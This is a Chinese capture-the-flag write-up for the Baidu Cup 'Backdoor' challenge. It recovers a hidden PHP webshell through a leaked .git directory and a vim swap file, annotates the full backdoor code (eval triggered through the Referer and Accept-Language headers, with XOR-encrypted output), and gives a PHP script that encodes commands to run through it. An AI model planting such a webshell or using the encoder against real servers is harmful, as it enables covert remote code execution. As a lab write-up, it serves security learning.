“百度杯”CTF比赛 十月场Backdoor(git泄露)

在这里插入图片描述
访问/Challenges/.git 发现返回403
在这里插入图片描述
上GitHack
在这里插入图片描述
查看fiag.php源码
在这里插入图片描述
按经验flag就在这,猜测要版本回滚,访问/Challenges/.git/logs/HEAD
在这里插入图片描述
使用Git_Extract会自动解析提取这些commit
在这里插入图片描述在这里插入图片描述

访问b4ckdo0r.php
在这里插入图片描述
尝试.b4ckdo0r.php.swo和.b4ckdo0r.php.swp
在这里插入图片描述
丢到kali中 用vim打开 vim -r .b4ckdo0r.php.swo
在这里插入图片描述
复制到新建的php文件中,修改一下代码将几个关键变量打印出来
在这里插入图片描述在这里插入图片描述

整理一下得到

<?php 
$kh="4f7f"; 
$kf="28d7"; 
//对$t,$k进行异或运算
function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
for($i=0; $i<$l;) { 
//如果第二个参数全部异或了一遍,第一个还没结束,接着从第二个参数头部从头开始。
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.=$t{$i}^$k{$j}; 
        } 
    } 
    return $o; 
}
// HTTP_REFERER处理后传给$q ,HTTP_ACCEPT_LANGUAGE过正则,每个语言的首字符和权重q=0.x的x值传给 $m
$r=$_SERVER; 
$rr=@$r["HTTP_REFERER"]; //获取变量,且用户可控
$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; //获取变量,且用户可控
if($rr&&$ra) { 
    $u=parse_url($rr); //解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
    parse_str($u["query"],$q); //把HTTP_REFERER中query(即提交的参数)对应的值提出,parse_str — 将字符串解析成多个变量
    $q=array_values($q); //返回含所有值的索引数组。
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); 
//
    if($q&&$m) { 
        @session_start(); 
        $s=&$_SESSION; 
        $ss="substr"; //做动态变量名用,$sl也一样
        $sl="strtolower"; 
        $i=$m[1][0].$m[1][1]; //取的组合值
        $h=$sl($ss(md5($i.$kh),0,3)); //运算后值为675
        $f=$sl($ss(md5($i.$kf),0,3)); //值为a3e
        $p=""; 
        for($z=1; $z<count($m[1]); $z++)
            $p.=$q[$m[2][$z]]; //遍历所有权重值,读取对应的$q,拼接成$p
	//如果$p中没有和$h相同的的字符串,则令$s[$i]为空,p等于p的前三位
        if(strpos($p,$h)===0) { 
            $s[$i]=""; $p=$ss($p,3); //$p前三位是不是675
        } 
	// array_key_exists — 检查数组里是否有指定的键名或索引,检查$i中有无$s字符串,有则s[$i]与p合并,$e等于$f在$s[$i]中首次出现的位置
        if(array_key_exists($i,$s)) { 
            $s[$i].=$p; 
            $e=strpos($s[$i],$f); //$i后三位是不是a3e
            if($e) { 
                $k=$kh.$kf; //$k值为4f7f28d7
                ob_start();//打开输出控制缓冲
//base64解码后,通过x函数与$k进行异或计算,gzip解压,以$f截断(此时$e的值等于$f)
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); 
                $o=ob_get_contents(); 
                ob_end_clean(); 
                $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); //gzip压缩执行结果,并与$k进行异或计算
                @session_destroy(); 
            } 
        } 
    } 
}

代码中x异或函数的规律
a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数
要想获取flag,只能利用代码中的eval函数去执行系统命令,要做的就是把命令传进去
下面需要写一个逆向代码,嫖了别人的脚本用了下

<?php

function x($t,$k) { 
    $c=strlen($k); 
    $l=strlen($t); 
    $o=""; 
    for($i=0; $i<$l;) {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++) { 
            $o.= $t{$i} ^ $k{$j}; 
        } 
    } 
    return $o; 
}

function get_answer($str){
    $str = base64_decode($str);
    $str = x($str, '4f7f28d7');
    $str = gzuncompress($str);
    echo $str . "<br>";
}
//输出向服务器提交的变量a中payload值  ?a=675 + payload + a3e
function input($cmd){
    $str = 'system("' . $cmd . '");';
    $t1 = gzcompress($str);
    echo '$t1 = ' . $t1 . "<br>";
    $t2 = x($t1, '4f7f28d7');
    echo '$t2 = ' . $t2 . "<br>";
    $t3 = base64_encode($t2);
    echo '$t3 = ' . $t3 . "<br>";
    return $t3;
}

$ra='zh-CN,zh;q=0.0';
input('ls'); //第一次的命令
input('cat this_i5_flag.php');// //第一次的命令
//服务器两次返回的值
get_answer('TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT'); 
get_answer('TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8')
?>

在这里插入图片描述
在这里插入图片描述

参考:

https://www.cnblogs.com/sijidou/p/9827720.html
https://www.ichunqiu.com/writeup/detail/1413

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值